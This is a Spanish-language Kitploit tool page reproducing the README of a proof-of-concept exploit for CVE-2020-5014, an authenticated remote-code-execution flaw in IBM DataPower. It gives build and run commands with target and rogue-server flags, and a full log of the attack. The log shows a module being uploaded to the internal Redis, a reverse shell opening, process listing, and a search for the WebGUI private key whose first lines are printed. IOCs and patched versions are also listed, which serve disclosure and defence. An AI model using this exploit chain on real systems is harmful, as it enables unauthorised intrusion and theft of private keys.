Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
datapower-redis-rce-exploit — Un POC para el exploit de RCE autenticado en Redis de IBM Datapower que abusa de la Función de Mensaje de Prueba (CVE-2020-5014) | Kitploit
Herramientas/GitHubGitHub/copethomas/datapower-redis-rce-exploit
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónRed TeamingHerramienta de Acceso Remoto
GitHubcopethomas/datapower-redis-rce-exploit

datapower-redis-rce-exploit

Un POC para el exploit de RCE autenticado en Redis de IBM Datapower que abusa de la Función de Mensaje de Prueba (CVE-2020-5014)

Ver RepositorioSitio web
221hace 4 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

datapower-redis-rce-exploit (CVE-2020-5014)

Un POC para el exploit RCE de Redis autenticado de IBM DataPower que abusa de la función "Send a Test Message".

poc_demo

Explicación completa y demo en YouTube

Publicación de blog en tomcope.com

Explicación

Usando la función "Send a Test Message" de DataPower disponible a través de una sesión autenticada en la WebGUI de DataPower, es posible realizar un ataque SSRF contra el servidor Redis interno de DataPower. El servidor Redis interno está protegido por contraseña, pero parece usar una contraseña codificada. Esto luego se puede combinar con una vulnerabilidad RCE existente de Redis para ejecutar código arbitrario como el usuario drouter dentro del sistema operativo Linux subyacente de DataPower.

Inicio Rápido

  1. Clona este repositorio
  2. Compila el módulo:
    • cd RedisModulesSDK/dpredisshell/
    • make
  • Compila el código Golang
    • go build
  • Verifica las banderas
    • ./datapower-redis-rce-exploit -h
  • Ejecuta el exploit
    • ./datapower-redis-rce-exploit -dpip 1.2.3.4 -dpredismodule RedisModulesSDK/dpredisshell/dpredisshell.so -dpredispasswd xxx -fakeredisip 5.6.7.8
  • Ejemplo

    A continuación se muestra un ejemplo práctico ejecutando DataPower mediante Docker y el exploit localmente a través de localhost:

    1. docker run -it -e DATAPOWER_ACCEPT_LICENSE=true -e DATAPOWER_INTERACTIVE=true -e DATAPOWER_WORKER_THREADS=4 --network='host' ibmcom/datapower:10.0.1.1
    2. Inicia sesión en DataPower con el nombre de usuario admin y la contraseña admin
    3. Configura con WebGUI:
    root@kitploit:~
    idg# config
    Global mode
    idg(config)# web-mgmt
    Modify Web Management Service configuration
    
    idg(config web-mgmt)# admin-state enabled
    idg(config web-mgmt)# exit
    idg(config)# write mem
    Overwrite previously saved configuration? Yes/No [y/n]: y
    Configuration saved successfully.
    idg(config)# exit
    idg# 
    
    1. Verifica que WebUI esté activo:
    root@kitploit:~
    idg# show web-mgmt
    
    web-mgmt [up] 
    --------
     admin-state enabled 
     ip-address 0.0.0.0 
     port 9090 
     save-config-overwrite on 
     idle-timeout 600 Seconds
     acl web-mgmt  [up]
     ssl-config-type server 
     enable-sts on 
    
    idg# 
    
    1. Abre una nueva ventana de terminal
    2. Clona este repositorio
      • git clone https://github.com/copethomas/datapower-redis-rce-exploit
    3. Compila el módulo:
      • cd RedisModulesSDK/dpredisshell/
      • make
    4. Compila el código Golang
      • cd ../../
      • go build
    5. Carga la contraseña interna de Redis en tu shell. (Lee la Explicación para más detalles)
    root@kitploit:~
    $ read DPREDISPASSWD
    apples
    $ echo $DPREDISPASSWD
    apples
    
    1. Ejecuta el exploit:
    root@kitploit:~
    $ ./datapower-redis-rce-exploit -dpip 127.0.0.1 -dpport 9090 -dpredismodule RedisModulesSDK/dpredisshell/dpredisshell.so -dpredispasswd $DPREDISPASSWD -dpredisport 16379 -dpwebguipassword "admin" -dpwebguiuser "admin" -fakeredisip 127.0.0.1 -fakeredisport 8888
    Main      - 2020/10/18 23:34:29 datapower-redis-rce-exploit - Created by Thomas Cope
    Main      - 2020/10/18 23:34:29 Starting Rogue Redis Server...
    Main      - 2020/10/18 23:34:29 Attempting to Login to Datapower...
    FakeRedis - 2020/10/18 23:34:29 Starting Fake Redis Server on 127.0.0.1:8888
    FakeRedis - 2020/10/18 23:34:29 Online and Ready!
    Main      - 2020/10/18 23:34:29 Datapower Credentials Valid!
    Main      - 2020/10/18 23:34:29 Datapower Login Token = JlkIp5wAvuQfSh5+cY49BovA.5
    Main      - 2020/10/18 23:34:29 Exchanging Login token for auth cookie...
    Main      - 2020/10/18 23:34:29 Got login Cookie OK! - [ibmwdp=1wBXDLzY9XdTNz4aD5+JQspc.5; Path=/; HttpOnly; Secure]+
    Main      - 2020/10/18 23:34:29 Datapower Login Complete!
    Main      - 2020/10/18 23:34:29 Attempting Redis exploit via Datapower 'Test Connection' ...
    Main      - 2020/10/18 23:34:29 Performing Datapower 'Test Connection'...
    FakeRedis - 2020/10/18 23:34:29 Accepting connection...
    FakeRedis - 2020/10/18 23:34:29 Accepted Connection OK!
    FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis
    FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis
    FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis
    FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis
    FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis
    FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis
    FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis
    FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis
    Main      - 2020/10/18 23:34:29 Datapower 'Test Connection' Finished OK
    Main      - 2020/10/18 23:34:29 Datapower 'Test Connection' sent OK, waiting for redis connection...
    FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis
    FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis
    FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis
    FakeRedis - 2020/10/18 23:34:29 Uploading module...
    FakeRedis - 2020/10/18 23:34:29 Upload Complete!
    Main      - 2020/10/18 23:34:29 Payload has been delivered to Datapower internal redis!
    Main      - 2020/10/18 23:34:29 Performing clean up...
    Main      - 2020/10/18 23:34:29 Performing Datapower 'Test Connection'...
    FakeRedis - 2020/10/18 23:34:29 Error reading data from network connection: read tcp 127.0.0.1:8888->127.0.0.1:44207: read: connection reset by peer - (This is expected)
    FakeRedis - 2020/10/18 23:34:29 Connection Closed
    Main      - 2020/10/18 23:34:30 Datapower 'Test Connection' Finished OK
    Main      - 2020/10/18 23:34:30 Requesting Reverse Shell via Datapower 'Test Connection' ...
    Main      - 2020/10/18 23:34:30 Waiting for Reverse Shell...
    Main      - 2020/10/18 23:34:30 Performing Datapower 'Test Connection'...
    FakeRedis - 2020/10/18 23:34:30 Accepting connection...
    Main      - 2020/10/18 23:34:30 Got Reverse Shell!
    Main      - 2020/10/18 23:34:30 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    id
    uid=1000(drouter) gid=1000(drouter) groups=1000(drouter)
    ps -ef
    UID          PID    PPID  C STIME TTY          TIME CMD
    drouter        1       0  6 22:00 pts/0    00:02:15 /opt/ibm/datapower/root/drouter
    drouter       24       1  0 22:00 pts/0    00:00:06 QuotaEnforcement unix:/opt/ibm/datapower/drouter/ramdisk2/sidecar-QuotaEnforcement-0x7f4f38c6e2c8 QuotaEnforcement
    drouter       27      24  0 22:00 pts/0    00:00:05 /opt/ibm/datapower/root/dp-redis-server 127.0.0.1:16379
    drouter       28      24  0 22:00 pts/0    00:00:08 /opt/ibm/datapower/root/dp-redis-sentinel 127.0.0.1:26379 [sentinel]
    drouter       40       1  0 22:00 pts/0    00:00:05 dpmon -F dpmon -T -s 1 -c 900 -U /opt/ibm/datapower/drouter/temporary/dpmon/ -m /opt/ibm/datapower/drouter/temporary/dpmon/ -i 8 -M 31457280 -Z UTC -B 0
    drouter       61      27  0 22:34 pts/0    00:00:00 [sh]
    drouter       63      61  0 22:34 pts/0    00:00:00 
    find / -name webgui-privkey.pem 2>/dev/null
    /opt/ibm/datapower/root/secure/usrcerts/webgui-privkey.pem
    head -2 /opt/ibm/datapower/root/secure/usrcerts/webgui-privkey.pem
    -----BEGIN PRIVATE KEY-----
    MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDYFBod9TmWZLKT
    

    IOCs

    Durante el exploit, DataPower registrará múltiples errores url-open con la URL interna de Redis. Esto se debe a que Redis no responde en el formato XML esperado por DataPower.

    root@kitploit:~
    18:22:55	network	error	130	request	  	0x80e00040	xmlfirewall (map): url-open: Remote error on url 'http://127.0.0.1:16379/'
    

    Corrección / Parche

    Corregido en las versiones 10.0.1.2 y 2018.4.1.15

    • https://www.ibm.com/support/pages/node/6426789
    • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-5014

    Enlaces y Agradecimientos

    • https://github.com/n0b0dyCN/redis-rogue-server - Por la versión en Python de este exploit y el módulo Redis exp.c
    • https://github.com/RicterZ/RedisModules-ExecuteCommand - Por el módulo Redis original
    • https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf - Por el descubrimiento del RCE de Redis

    Descubrimiento original hecho por mí (Thomas Cope) el 21 de octubre de 2020 - Reportado a través de Hackerone a IBM

    Descargar herramienta